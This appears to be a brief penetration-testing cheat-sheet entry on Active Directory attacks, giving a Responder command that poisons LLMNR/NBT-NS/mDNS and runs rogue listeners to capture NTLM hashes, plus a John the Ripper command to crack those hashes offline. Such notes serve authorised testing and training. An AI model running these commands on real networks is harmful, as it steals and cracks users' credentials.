Responder - LLMNR/NBT-NS Poisoning

Active Directory AD Attacks linux

Run

responder -I eth0 --wpad -v

Responder poisons LLMNR / NBT-NS / mDNS and runs rogue HTTP / SMB / MSSQL / FTP / LDAP listeners. Captured NTLMv1 / NTLMv2 hashes can be cracked offline.

Crack collected hashes

john ntlmhashes.txt --wordlist=./PasswordList.txt